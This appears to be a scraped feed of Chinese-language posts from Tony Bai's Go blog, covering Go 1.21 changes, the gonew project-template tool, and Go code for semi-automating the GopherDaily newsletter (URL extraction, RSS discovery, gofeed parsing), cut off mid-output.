1.21编译器在编译二进制文件时就会默认开启基于default.pgo中数据的pgo优化。优化带来的性能提升因程序而异，一般是2%~7%。\nGo 1.21编译器自身就是基于PGO优化过的，编译速度提升约6%。\n2.2 大幅降低GC尾部延迟 Go 1.21通过对运行时内部的GC的优化，应用程序的尾部延迟最多可减少40%，内存使用量也会略有减少。不过有些应用可能会观察到吞吐量的少量损失。内存使用量的减少与吞吐量的损失大约成正比。\n2.3 支持WASI(WebAssembly System Interface) Go 1.21开始支持将Go编译为支持WASI规范的wasm程序，具体可参见《Go 1.21新特性前瞻》。\n不过，Go 1.21版本尚没有导出自定义函数的机制，比如：在Go源代码中声明Add函数不会使得该函数在编译后的WebAssembly中被导出。因此，如果使用诸如wazero这样的wasm runtime在加载Wasm后查找Add函数，将无法找到。\n注：wazero目前可以与支持导出自定义函数到wasm中的tinygo一起配合使用。\n一旦Go支持将自定义函数导出到wasm中，那么是否可以实现基于wasm的Go应用插件机制呢？wasm的执行性能如何呢？这个就留到Go支持导出函数到wasm之后再行讨论吧。\n3. Go工具链 Go 1.21在工具链方面最值得关注的就是Go团队对向后兼容(backwards compatibility)和向前兼容(forwards compatibility)的重新思考和新措施。\n所谓向后兼容就是用新版Go编译器可以编译遗留的历史Go代码，并可以正常运行。比如用Go 1.21版本编译器编译基于Go 1.5版本编写的Go代码。Go在这方面做的一直很好，并提出了Go1兼容性承诺。\n而向前兼容指的是用旧版编译器编译新版本Go的代码，比如用Go 1.19版本编译器编译基于Go 1.21版本编写的Go代码。显而易见，如果Go代码中使用了Go 1.21引入的新语法特性，比如clear，那么Go 1.19编译Go代码时会失败。\nGo 1.21中对于Go工具链的向前和向后兼容又做了进一步的明确和增强，下面我们就来看一下具体的内容。\n3.1 向后兼容 为了提高向后兼容性的体验，从Go 1.21版本开始，Go扩展和规范化了GODEBUG的使用。其大致思路如下：\n对于每个在Go1兼容性承诺范围内的且可能会破坏(break)现有代码的新特性/新改变(比如：panic(nil)语义的改变)加入时，Go会向GODEBUG设置中添加一个新选项(比如GODEBUG=panicnil=1)，以保留采用原语义进行编译的兼容能力；\nGODEBUG中新增的选项将至少保留两年(4个Go release版本)，对于一些影响重大的GODEBUG选项(比如http2client和http2server)，保留的时间可能更长，甚至一直保留；\nGODEBUG的选项设置与go.mod的go version是匹配的。例如，即便你现在的工具链是Go 1.21，如果go.mod中的go version为1.20，那么GODEBUG控制的新特性语义将不起作用，依旧保持Go 1.20时的行为。除非你将go.mod中的go version升级为go 1.21.0。下面的例子就展示了这一点：\n// tools/godebug/go.mod module demo\ngo 1.20\n// tools/godebug/panicnil.go\nfunc foo() { defer func() { if e := recover(); e != nil { fmt.Println(\u0026ldquo;recover panic from\u0026rdquo;, e) return } fmt.Println(\u0026ldquo;panic is nil\u0026rdquo;) }()\npanic(nil) }\nfunc main() { foo() }\n这个例子中go.mod中的go version为go 1.20，我们用go 1.21去编译运行该示例，得到如下结果：\n$go run panicnil.go panic is nil 我们看到，即便用go 1.21编译，由于go.mod中go version为go 1.20，go 1.21对panic(nil)的语义变更并未生效。\n如果我们将go.mod中的go version改为go 1.21.0，再运行该示例：\n$go run panicnil.go recover panic from panic called with nil argument 我们看到，这次示例中的panic(nil)语义发生了变化，匹配了go 1.21对panic(nil)语义的改变。\n在Go 1.21中，除了使用GODEBUG=panicnil=1来恢复原先语义外，还可以在main包中使用//go:debug指示符：\n// tools/godebug/panicnil.go //go:debug panicnil=1 package main import \u0026quot;fmt\u0026quot; // 省略... ... 使用//go:debug指示符后，即便使用go 1.21编译，panic(nil)也会恢复到之前的语义。\n很多Gopher说，历经这么多版本，GODEBUG究竟有多少了开关选项已经记不住了，没关系，Go官方文档为gopher提供了GODEBUG演进历史的文档，使用时自行查阅。\n这样，Go 1.21以后，GODEBUG就成为了应对在Go1兼容性承诺范围内，但又可能对现有代码造成破坏的change的一种标准兼容机制。\n3.2 向前兼容 说完向后兼容，我们再来看看向前兼容，即用老编译器编译新版本代码。\n有人会说：老编译器编译新版本代码能否编译通过并运行正常要看新版本代码中是否使用了新版本的特性。比如用Go 1.16版本编译带泛型语法的Go 1.18https://tonybai.com/2022/04/20/some-changes-in-go-1-18代码肯定是无法编译通过啊，升级一下编译器版本不就行了吗。向前兼容性的问题可能没有大家想象的这么简单。\n如果当前代码中没有使用go 1.18中的泛型语法，使用go 1.16可以正常编译该代码，那么编译出的程序的运行行为就一定正常么？这要看Go 1.18中看似与Go 1.16版本代码兼容的部分是否有语义上的改变。如果存在这种语义上的改变，导致程序在生产中实际行为与预期行为不同，那么还不如编译失败带来的损失更小。因此，Go团队希望在向前兼容方面提供更精细化，更准确的管理手段。\n从Go 1.21开始，go.mod文件中的go line将被当成一个约束规则。go line中的go版本号将被解释为用于编译该module时使用的最小Go语言版本，只有这个版本或其高于它的版本才能保证具有该module所需的Go语法语义。\nGo始终允许用低版本go工具链编译go line中版本号高于工具链版本的go代码，之所以这么做，是为了避免不必要的编译失败给开发者情绪造成的影响：如果你被告知Go版本太旧无法编译程序，你肯定不会是开心的^_^。\n但在Go 1.21之前，旧版本工具链编译新代码，有时候会构建成功(比如代码中没有使用新版本引入的新语法特性），有时会因代码中的新语法特性而构建失败。这种割裂的体验是Go团队不希望看到的，于是Go团队希望将工具链的管理也纳入到go命令中。\nGo 1.21中一个最直观的变化就是当用Go 1.21编译一个go line为go 1.21.1的module时，如果本地不存在go 1.21.1工具链，go 1.21不会报错，而是去尝试下载go 1.21.1工具链到本地，如果下载成功，就会用go 1.21.1来编译这个module：\n$go run panicnil.go // 将go.mod中的go line改为1.21.1后 go: downloading go1.21.1 (darwin/amd64) go: download go1.21.1 for darwin/amd64: toolchain not available 不过Go 1.21的这种自动下载新版工具链后，并不会将它安装到GOPATH/bin或覆盖当前本地安装的工具链。它会将下载的新版本工具链当作Go module，这继承了module管理的所有安全和隐私优势，然后go会从module缓存中运行下载后的工具链module。\n除此之外，Go 1.21还在go.mod中引入了toolchain指示符以及GOTOOLCHAIN环境变量。一个包含了toolchain指示符的go.mod的内容如下面所示：\n// go.mod module m go 1.21.0 toolchain go1.21.4 这个go.mod中的go line含义是当其他go module依赖m时，需要至少使用go 1.21.0版本的工具链；而m模块的作者编译m时，需要了一个更新的工具链：go 1.21.4。\n我们知道通过go get example.com/module@v1.2.1可以更新go.mod中的require block，在go 1.21版本中，我们可以使用go get go@1.21.1更新go.mod中的go line中的go version。当然以此类推，我们也可以通过go get toolchain@go1.21.1更新go.mod中的toolchain line中的工具链版本号。\nGo工具链最终版本的选择规则较为繁琐，受到local安装的go工具链版本、GOTOOLCHAIN环境变量的设置以及go.mod中的toolchain line的综合影响，大家可以参考toolchain文档理解，这里就不引述了。\n4. Go标准库 每个Go版本中变化最大的一定是标准库，这里不能一一列举所有变化，我挑了几个重要的包和大家简单分享一下。后续可能会安排专门文章对某个标准库包做专题说明。\n4.1 log/slog 原生支持的结构化日志终于在go 1.21版本落地了，其路径为log/slog。在去年就写过一篇有关slog的文章《slog：Go官方版结构化日志包》，不过这近一年多以来，slog的设计和实现也都发生了一些调整，那篇文章的少部分内容可能已经不适用了。\n关于slog值得单独写一篇新博文去专门说明，这个在后面可能会安排:)。\n此外，Go标准库还增加了testing/slogtest包，来帮助大家验证slog.Handler的实现，这个是以前没有的。\nslog是一个高质量、高性能的结构化日志实现，这里建议大家在启动新Go项目时，尽量采用log/slog作为日志输出的方案。\n4.2 slices、maps和cmp 在Go实验库“孵化”了一年多的几个泛型包slices、maps和cmp终于在Go 1.21版本中正式加入到标准库中了。\nslices切片包提供了针对切片的常用操作，slices包使用了泛型函数，可处理任何元素类型的切片。同理，maps包与slices包地位相似，只不过操作对象换成了map类型变量，它可以处理任意类型键和元素类型的map。\ncmp包是slices包依赖的包，这个包非常简单且内聚，它仅提供了与compare和ordered相关的约束类型定义与简单泛型函数：\n// cmp包 type Ordered interface { ~int | ~int8 | ~int16 | ~int32 | ~int64 | ~uint | ~uint8 | ~uint16 | ~uint32 | ~uint64 | ~uintptr | ~float32 | ~float64 | ~string } func Less[T Ordered](x, y T) bool { return (isNaN(x) \u0026amp;\u0026amp; !isNaN(y)) || x \u0026lt; y } func Compare[T Ordered](x, y T) int { ... ... } func isNaN[T Ordered](x T) bool { return x != x } 以上三个包没有太多可说的，都是一些utils类的函数，大家在日常开发中记得用就ok了，基于泛型的实现以及unified中间代码的优化，这些函数的性能相对于基于interface实现的通用工具函数要高出一些。\n注：在Go 1.21正式版发布之前，Go team删除了maps包中原有的Keys和Values函数，其原因是要在后续版本中提供iter包。\n4.3 其他变化 增加errors.ErrUnsupported 标准库各个包都有类似unsupported的Error类型的定义，第三方包更是多如牛毛。Go 1.21在errors包中增加了ErrUnsupported，旨在统一后续对unsupported的错误判定。不过在你的函数或方法中不要直接返回errors.ErrUnsupported，要么用自定义error包装(wrap) errors.ErrUnsupported，要实现Is方法。目的是使得你自己的Error类型提供的unsupported error满足：errors.Is(err, errors.ErrUnsupported) == true。\nhttp包的ErrNotSupported采用的就是实现Is方法的方式支持errors.ErrNotSupported的：\n// Is lets http.ErrNotSupported match errors.ErrUnsupported. func (pe *ProtocolError) Is(err error) bool { return pe == ErrNotSupported \u0026amp;\u0026amp; err == errors.ErrUnsupported } 注：errors.ErrUnsupported这种统一对unsupported类错误处理的设计方式直接借鉴。\nflag：增加BoolFunc函数 略。\nnet: 在linux上支持多路径TCP 多路径TCP协议可以让一个TCP连接在多个网络路径之间进行数据传输，从而提高传输速度和可靠性的技术。Go 1.21在linux平台上支持net包使用多路径TCP协议(如果linux kernel支持的话)。不过目前这不是默认开启的，可以通过Dialer的下面方法来显式设置：\nfunc (d *Dialer) SetMultipathTCP(use bool) 在将来的版本中，该机制很大可能会变为默认开启的。\nreflect：ValueOf允许在栈上分配Value的内容 在Go 1.21中，ValueOf不再强制Value内容在堆上分配，而是允许在栈上分配Value的内容。对Value的大多数操作也允许在栈中分配底层值。通过其代码实现可以更好地理解这点变化：\n// Before Go 1.21, ValueOf always escapes and a Value's content // is always heap allocated. // Set go121noForceValueEscape to true to avoid the forced escape, // allowing Value content to be on the stack. // Set go121noForceValueEscape to false for the legacy behavior // (for debugging). const go121noForceValueEscape = true // ValueOf returns a new Value initialized to the concrete value // stored in the interface i. ValueOf(nil) returns the zero Value. func ValueOf(i any) Value { if i == nil { return Value{} } if !go121noForceValueEscape { escapes(i) } return unpackEface(i) } sync: 增加OnceFunc, OnceValue和OnceValues等语法糖函数 略。\ntesting: 新增Testing函数 Go 1.21为testing包增加了func Testing() bool函数，该函数可以用来报告当前程序是否是go test创建的测试程序。使用Testing函数，我们可以确保一些无需在单测阶段执行的函数不被执行。比如下面这个例子：\n// file/that/should/not/be/used/from/testing.go func prodEnvironmentData() *Environment { if testing.Testing() { log.Fatal(\u0026quot;Using production data in unit tests\u0026quot;) } .... } crypto/tls：增加QUICConn以支持后续的QUIC实现 略。\ncontext包：新增WithoutCancel、WithDeadlineCause、WithTimeoutCause和AfterFunc 新增的WithoutCancel、WithDeadlineCause、WithTimeoutCause函数可以让你通过Cause函数获得导致cancel/timeout的真因：\nctx, cancel := context.WithCancelCause(parent) cancel(myError) ctx.Err() // returns context.Canceled context.Cause(ctx) // returns myError AfterFunc函数是一个高级函数，与time.AfterFunc的机制和用法都类似，官方文档中有三个使用AfterFunc的例子，大家可以移步过去看看，这里就不赘述了。\nruntime/trace：收集跟踪信息成本大幅降低 现在，trace在amd64和arm64上收集跟踪信息所需的CPU成本大幅降低：与上一版本相比，最多可提高10倍。\nunicode: 升级到Unicode 15.0.0版本 略。\n5. 小结 个人觉得：Go 1.21是一个重要的“大”版本，它对Go语言后续的演进有着重大影响，尤其是对向前兼容和向后兼容的思考和手段的提供，为后续Go演进奠定了基础，即便这些规则读起来和理解起来有些复杂^_^。\n本文示例代码可以在这里下载。\n6. 参考资料 Go 1.21 Release Notes – https://go.dev/doc/go1.21 Go 1.21版本发布 – https://go.dev/blog/go1.21 Backward Compatibility, Go 1.21, and Go 2 – https://go.dev/blog/compat Forward Compatibility and Toolchain Management in Go 1.21 – https://go.dev/blog/toolchain Godebug手册 – https://go.dev/doc/godebug LoopvarExperiment – https://github.com/golang/go/wiki/LoopvarExperiment How Golang Evolves without Breaking Programs – https://thenewstack.io/how-golang-evolves-without-breaking-programs PGO user guide – https://go.dev/doc/pgo “Gopher部落”知识星球旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！2023年，Gopher部落将进一步聚焦于如何编写雅、地道、可读、可测试的Go代码，关注代码质量并深入理解Go核心技术，并继续加强与星友的互动。欢迎大家加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻) – https://gopherdaily.tonybai.com\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite Gopher Daily归档 – https://github.com/bigwhite/gopherdaily 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2023/08/20/some-changes-in-go-1-21/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/some-changes-in-go-1-21-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2023/08/20/some-changes-in-go-1-21\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2023/08/20/some-changes-in-go-1-21\"\u003ehttps://tonybai.com/2023/08/20/some-changes-in-go-1-21\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e美国时间2023年8月8日，\u003ca href=\"https://go.dev/doc/go1.21\"\u003eGo团队在Go官博上正式发布了1.21版本\u003c/a\u003e！\u003c/p\u003e\n\u003cp\u003e早在今年4月末，我就撰写了文章《\u003ca href=\"https://tonybai.com/2023/04/26/go-1-21-foresight/\"\u003eGo 1.21新特性前瞻\u003c/a\u003e》，对Go 1.21可能引入的新特性、新优化和新标准库包做了粗略梳理。\u003c/p\u003e","title":"Go 1.21中值得关注的几个变化"},{"content":"\n本文永久链接 – https://tonybai.com/2023/08/11/introduction-to-the-gonew-tool\n近日，Go官博介绍了一个名为gonew的新工具。该工具支持基于go project template clone并创建一个属于你的Go项目。gonew工具的引入大幅简化了Go项目的创建，同时由于对自定义项目模板的支持，也可以提高Go项目的标准化水平。gonew工具刚刚被放入Go工具项目代码仓库，目前还处于实验阶段，后续可能会增加新特性，但当前的核心特性(core functionality)会持续保留。\n本文将针对gonew目前的特性做简要说明，以供大家参考。\n1. 起源 Go team为何要引入gonew这个工具呢？按照Russ Cox的说法，Go team经常收到一些Go用户关于使用某种”go new”功能的要求，即以某种基本的项目模板来创建一个新Go module。于是Russ Cox私下里编写了一个实现了这类核心功能特性的小工具：rsc.io/tmp/gonew。该工具的逻辑非常简单，主要就是下载一个模板module，更改其module path，并将其放到本地的一个新目录中。Russ在google内部宣传该工具后，Google内部的一些团队便定制了一些模板(template)，尤其是ServiceWeaver团队的响应尤为积极。这一切最终让Russ决定引入golang.org/x/tools/cmd/gonew。\n我们接下来看看gonew究竟长什么样子，能做什么！\n2. 安装和使用gonew 2.1 安装gonew 我们执行下面命令便可以相当容易的将gonew安装到本地(如果设置了GOPATH，那么该工具会安装到GOPATH/bin下)：\n$go install golang.org/x/tools/cmd/gonew@latest go: downloading golang.org/x/tools v0.12.0 go: downloading golang.org/x/mod v0.12.0 执行一下gonew：\n$gonew usage: gonew srcmod[@version] [dstmod [dir]] See https://pkg.go.dev/golang.org/x/tools/cmd/gonew. 2.2 使用gonew创建新项目 下面是用gonew创建新项目的两个典型场景：\n基于模板创建“同名module”项目 以golang.org/x/example/helloserver模板为例，我们基于该模板通过gonew创建一个新项目：\n$gonew golang.org/x/example/helloserver gonew: initialized golang.org/x/example/helloserver in ./helloserver 探索一下该项目：\n$ cd helloserver/ $ ls LICENSE go.mod server.go $ git status fatal: Not a git repository (or any of the parent directories): .git $ cat go.mod module golang.org/x/example/helloserver go 1.19 我们发现gonew仅是将helloserver模板项目下载到本地（显然不会包含原模板项目的git仓库目录(.git)），且go module的名字也未被改变。\n很多人会问：这样的gonew用法用在什么场景中呢？Russ Cox给出了应用场景：\n$ gonew book.com/mybook-examples 这个用法适用于在本地创建某图书作者的样例代码项目。\n基于模板创建新module项目 这里我们基于helloserver项目模板创建我们自己的github.com/bigwhite/myhelloserver module项目：\n$ gonew golang.org/x/example/helloserver github.com/bigwhite/myhelloserver gonew: initialized github.com/bigwhite/myhelloserver in ./myhelloserver 同样探索一下新创建的项目：\n$ cd myhelloserver/ $ ls LICENSE go.mod server.go $ cat go.mod module github.com/bigwhite/myhelloserver go 1.19 我们看到：和第一种用法不同的是，这次go.mod中的module path被改为我们期望的module path。\n这种用法应该是gonew最常用的场景。\n根据gonew的命令说明，它还支持基于模板项目的特定版本来创建新项目，并支持指定本地存放新项目的路径，这里就不演示了。\n3. gonew的项目模板 gonew中提到的项目模板并不神秘，它就是一个go module，这个module具有一些脚手架代码，其存在的目的就是被复用。\ngoogle提供了一些模板示例，比如：go team的hello、hellserver和outyet；ServiceWeaver提供的template等。\n在gonew出现前，可能很多组织就是这么做的，会定义一些Go脚手架项目作为模板，供大家创建go新项目时参考。Go社区也有很多相似gonew的开源工具，在gonew的讨论帖中，很多人晒了自己的类gonew项目。\n有了gonew以后，建立组织级Go项目模板库将会成为提升组织内go项目初始化效率的重要手段，这样做后，组织级go项目标准化程度会得到大幅提升。\n4. gonew与Go项目标准布局 可能很多Gopher和我一样，在第一眼看到Go官博关于gonew的文章标题时，以为Go team终于官宣了Go项目的标准布局，并基于gonew工具来创建采用标准布局的新项目。可但我深入读下去后，发现并非如此。\ngonew并没有规定Go项目标准布局。gonew是开放性，只要是合法的go module项目都可以作为template在创建新项目时使用。这体现了gonew工具的灵活性和可扩展性，至于将来go team是否会定义一系列的“标准布局”模板还是未知数。\n关于Go项目标准布局的思考，请参考我的极客时间专栏《Go语言第一课》的第5讲“标准先行：Go项目的布局标准是什么？”。\n5. 小结 gonew工具简化了Go项目初始创建的复杂度，并且基于一些符合Go最佳实践的项目模板，Go初学者可以分分钟得到符合Go最佳实践的目录布局的Go项目。公司和组织层面也可以通过定义专属Go模板来满足组织和公司的内部需要，提高go新项目的创建效率以及提升Go项目布局的标准化程度。新的Go项目的布局的标准化程度提高后，对组织内CI/CD流水线也会更加友好。\ngonew的推出得到了社区的欢迎，社区也反馈gonew对快速启动项目很有帮助并提出了一些扩展建议。Russ Cox也说了：不排除在Go后续版本中将gonew升级为go new的可能性。\n让我们一起拭目以待吧！\n“Gopher部落”知识星球旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！2023年，Gopher部落将进一步聚焦于如何编写雅、地道、可读、可测试的Go代码，关注代码质量并深入理解Go核心技术，并继续加强与星友的互动。欢迎大家加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻) – https://gopherdaily.tonybai.com\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite Gopher Daily归档 – https://github.com/bigwhite/gopherdaily 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2023/08/11/introduction-to-the-gonew-tool/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/introduction-to-the-gonew-tool-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2023/08/11/introduction-to-the-gonew-tool\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2023/08/11/introduction-to-the-gonew-tool\"\u003ehttps://tonybai.com/2023/08/11/introduction-to-the-gonew-tool\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e近日，\u003ca href=\"https://go.dev/blog/gonew\"\u003eGo官博介绍了一个名为gonew的新工具\u003c/a\u003e。该工具支持基于go project template clone并创建一个属于你的Go项目。gonew工具的引入大幅简化了Go项目的创建，同时由于对自定义项目模板的支持，也可以提高Go项目的标准化水平。gonew工具刚刚被放入\u003ca href=\"https://github.com/golang/tools/tree/master/cmd/gonew\"\u003eGo工具项目代码仓库\u003c/a\u003e，目前还处于实验阶段，后续可能会增加新特性，但当前的核心特性(core functionality)会持续保留。\u003c/p\u003e","title":"Go项目初始化不再困扰你：gonew全方位解析"},{"content":"\n本文永久链接 – https://tonybai.com/2023/08/06/gopherdaily-revamped\n已经记不得GopherDaily是何时创建的了，翻了一下GopherDaily项目的commit history，才发现我的这个个人项目是2019年9月创建的，最初内容组织很粗糙，但我的编辑制作的热情很高，基本能坚持每日一发，甚至节假日也不停刊：\n该项目的初衷就是为广大Gopher带来新鲜度较高的Go语言技术资料。项目创建以来得到了很多Gopher的支持，甚至经常收到催刊邮件/私信以及主动report订阅列表问题的情况。\n不过近一年多，订阅GopherDaily的Gopher可能会发现：GopherDaily已经做不到“Daily”了！究其原因还是个人精力有限，每刊编辑都要花费很多时间。但个人又不想暂停该项目，怎么办呢？近段时间我就在着手思考提升GopherDaily制作效率的问题。\n一个可行的方案就是“半自动化”！在这次从“纯人工”到“半自动化”的过程中，顺便对GopherDaily做了一次“改版”。\n在这篇文章中，我就来说说结合大语言模型和Go技术栈实现GopherDaily制作的“半自动化”以及GopherDaily“改版”的历程。\n1. “半自动化”的制作流程 当前的GopherDaily每刊的制作过程十分费时费力，下面是图示的制作过程：\n这里面所有步骤都是人工处理，且收集资料、阅读摘要以及选优最为耗时。\n那么这些环节中哪些可以自动化呢？收集、摘要、翻译、生成与发布都可以自动化，只有“选优”需要人工干预，下面是改进后的“半自动化”流程：\n我们看到整个过程分为三个阶段：\n第一阶段(stage1)：自动化的收集资料，并生成第二阶段的输入issue-20230805-stage1.json(以2023年8月5日为例)。 第二阶段(stage2)：对输入的issue-20230805-stage1.json中的资料进行选优，删掉不适合或质量不高的资料，当然也可以手工加入一些自动化收集阶段未找到的优秀资料；然后基于选优后的内容生成issue-20230805-stage2.json，作为第三阶段的输入。 第三阶段(stage3)：这一阶段也都是自动化的，程序基于第二阶段的输出issue-20230805-stage2.json中内容，逐条生成摘要，并将文章标题和摘要翻译为中文，最后生成两个文件：issue-20230805.html和issue-20230805.md，前者将被发布到邮件列表和gopherdaily github page上，而后者则会被上传到传统的GopherDaily归档项目中。 我个人的目标是将改进后的整个“半自动化”过程缩短在半小时以内，从试运行效果来看，基本达成！\n下面我就来简要聊聊各个自动化步骤是如何实现的。\n2. Go技术资料自动收集 GopherDaily制作效率提升的一个大前提就是可以将最耗时的“资料收集”环节自动化了！而要做到这一点，下面两方面不可或缺：\n资料源集合 针对资料源的最新文章的感知和拉取 2.1 资料源的来源 资料源从哪里来呢？答案是以往的GopherDaily issues中！四年来积累了数千篇文章的URL，从这些issue中提取URL并按URL中域名/域名+一级路径的出现次数做个排序，得到GopherDaily改版后的初始资料源集合。虽然这个方案并不完美，但至少可以满足改版后的初始需求，后续还可以对资料源做渐进的手工优化。\n提取文本中URL的方法有很多种，常用的一种方法是使用正则表达式，下面是一个从markdown或txt文件中提取url并输出的例子：\n// extract-url/main.go package main import ( \u0026quot;bufio\u0026quot; \u0026quot;fmt\u0026quot; \u0026quot;os\u0026quot; \u0026quot;path/filepath\u0026quot; \u0026quot;regexp\u0026quot; ) func main() { var allURLs []string err := filepath.Walk(\u0026quot;/Users/tonybai/blog/gitee.com/gopherdaily\u0026quot;, func(path string, info os.FileInfo, err error) error { if err != nil { return err } if info.IsDir() { return nil } if filepath.Ext(path) != \u0026quot;.txt\u0026quot; \u0026amp;\u0026amp; filepath.Ext(path) != \u0026quot;.md\u0026quot; { return nil } file, err := os.Open(path) if err != nil { return err } defer file.Close() scanner := bufio.NewScanner(file) urlRegex := regexp.MustCompile(`https?://[^\\s]+`) for scanner.Scan() { urls := urlRegex.FindAllString(scanner.Text(), -1) allURLs = append(allURLs, urls...) } return scanner.Err() }) if err != nil { fmt.Println(err) return } for _, url := range allURLs { fmt.Printf(\u0026quot;%s\\n\u0026quot;, url) } fmt.Println(len(allURLs)) } 我将提取并分析后得到的URL放入一个临时文件中，因为仅提取URL还不够，要做为资料源，我们需要的是对应站点的feed地址。那么如何提取出站点的feed地址呢？我们看下面这个例子：\n// extract_rss/main.go package main import ( \u0026quot;fmt\u0026quot; \u0026quot;io/ioutil\u0026quot; \u0026quot;net/http\u0026quot; \u0026quot;regexp\u0026quot; ) var ( rss = regexp.MustCompile(`\u0026lt;link[^\u0026gt;]*type=\u0026quot;application/rss\\+xml\u0026quot;[^\u0026gt;]*href=\u0026quot;([^\u0026quot;]+)\u0026quot;`) atom = regexp.MustCompile(`\u0026lt;link[^\u0026gt;]*type=\u0026quot;application/atom\\+xml\u0026quot;[^\u0026gt;]*href=\u0026quot;([^\u0026quot;]+)\u0026quot;`) ) func main() { var sites = []string{ \u0026quot;http://research.swtch.com\u0026quot;, \u0026quot;https://tonybai.com\u0026quot;, \u0026quot;https://benhoyt.com/writings\u0026quot;, } for _, url := range sites { resp, err := http.Get(url) if err != nil { fmt.Println(\u0026quot;Error fetching URL:\u0026quot;, err) continue } defer resp.Body.Close() body, err := ioutil.ReadAll(resp.Body) if err != nil { fmt.Println(\u0026quot;Error reading response body:\u0026quot;, err) continue } matches := rss.FindAllStringSubmatch(string(body), -1) if len(matches) == 0 { matches = atom.FindAllStringSubmatch(string(body), -1) if len(matches) == 0 { continue } } fmt.Printf(\u0026quot;\\\u0026quot;%s\\\u0026quot; -\u0026gt; rss: \\\u0026quot;%s\\\u0026quot;\\n\u0026quot;, url, matches[0][1]) } } 执行上述程序，我们得到如下结果：\n\u0026quot;http://research.swtch.com\u0026quot; -\u0026gt; rss: \u0026quot;http://research.swtch.com/feed.atom\u0026quot; \u0026quot;https://tonybai.com\u0026quot; -\u0026gt; rss: \u0026quot;https://tonybai.com/feed/\u0026quot; \u0026quot;https://benhoyt.com/writings\u0026quot; -\u0026gt; rss: \u0026quot;/writings/rss.xml\u0026quot; 我们看到不同站点的rss地址值着实不同，有些是完整的url地址，有些则是相对于主站点url的路径，这个还需要进一步判断与处理，但这里就不赘述了。\n我们将提取和处理后的feed地址放入feeds.toml中作为资料源集合。每天开始制作Gopher Daily时，就从读取这个文件中的资料源开始。\n2.2 感知和拉取资料源的更新 有了资料源集合后，我们接下来要做的就是定期感知和拉取资料源的最新更新（暂定24小时以内的），再说白点就是拉取资料源的feed数据，解析内容，得到资料源的最新文章信息。针对feed拉取与解析，Go社区有现成的工具，比如gofeed就是其中功能较为齐全且表现稳定的一个。\n下面是使用Gofeed抓取feed地址并获取文章信息的例子：\n// gofeed/main.go package main import ( \u0026quot;fmt\u0026quot; \u0026quot;github.com/mmcdole/gofeed\u0026quot; ) func main() { var feeds = []string{ \u0026quot;https://research.swtch.com/feed.atom\u0026quot;, \u0026quot;https://tonybai.com/feed/\u0026quot;, \u0026quot;https://benhoyt.com/writings/rss.xml\u0026quot;, } fp := gofeed.NewParser() for _, feed := range feeds { feedInfo, err := fp.ParseURL(feed) if err != nil { fmt.Printf(\u0026quot;parse feed [%s] error: %s\\n\u0026quot;, feed, err.Error()) continue } fmt.Printf(\u0026quot;The info of feed url: %s\\n\u0026quot;, feed) for _, item := range feedInfo.Items { fmt.Printf(\u0026quot;\\t title: %s\\n\u0026quot;, item.Title) fmt.Printf(\u0026quot;\\t link: %s\\n\u0026quot;, item.Link) fmt.Printf(\u0026quot;\\t published: %s\\n\u0026quot;, item.Published) } fmt.Println(\u0026quot;\u0026quot;) } } 该程序分别解析三个feed地址，并分别输出得到的文章信息，包括标题、url和发布时间。运行上述程序我们将得到如下结果：\n$go run main.go The info of feed url: https://research.swtch.com/feed.atom title: Coroutines for Go link: http://research.swtch.com/coro published: 2023-07-17T14:00:00-04:00 title: Storing Data in Control Flow link: http://research.swtch.com/pcdata published: 2023-07-11T14:00:00-04:00 title: Opting In to Transparent Telemetry link: http://research.swtch.com/telemetry-opt-in published: 2023-02-24T08:59:00-05:00 title: Use Cases for Transparent Telemetry link: http://research.swtch.com/telemetry-uses published: 2023-02-08T08:00:03-05:00 title: The Design of Transparent Telemetry link: http://research.swtch.com/telemetry-design published: 2023-02-08T08:00:02-05:00 title: Transparent Telemetry for Open-Source Projects link: http://research.swtch.com/telemetry-intro published: 2023-02-08T08:00:01-05:00 title: Transparent Telemetry link: http://research.swtch.com/telemetry published: 2023-02-08T08:00:00-05:00 title: The Magic of Sampling, and its Limitations link: http://research.swtch.com/sample published: 2023-02-04T12:00:00-05:00 title: Go’s Version Control History link: http://research.swtch.com/govcs published: 2022-02-14T10:00:00-05:00 title: What NPM Should Do Today To Stop A New Colors Attack Tomorrow link: http://research.swtch.com/npm-colors published: 2022-01-10T11:45:00-05:00 title: Our Software Dependency Problem link: http://research.swtch.com/deps published: 2019-01-23T11:00:00-05:00 title: What is Software Engineering? link: http://research.swtch.com/vgo-eng published: 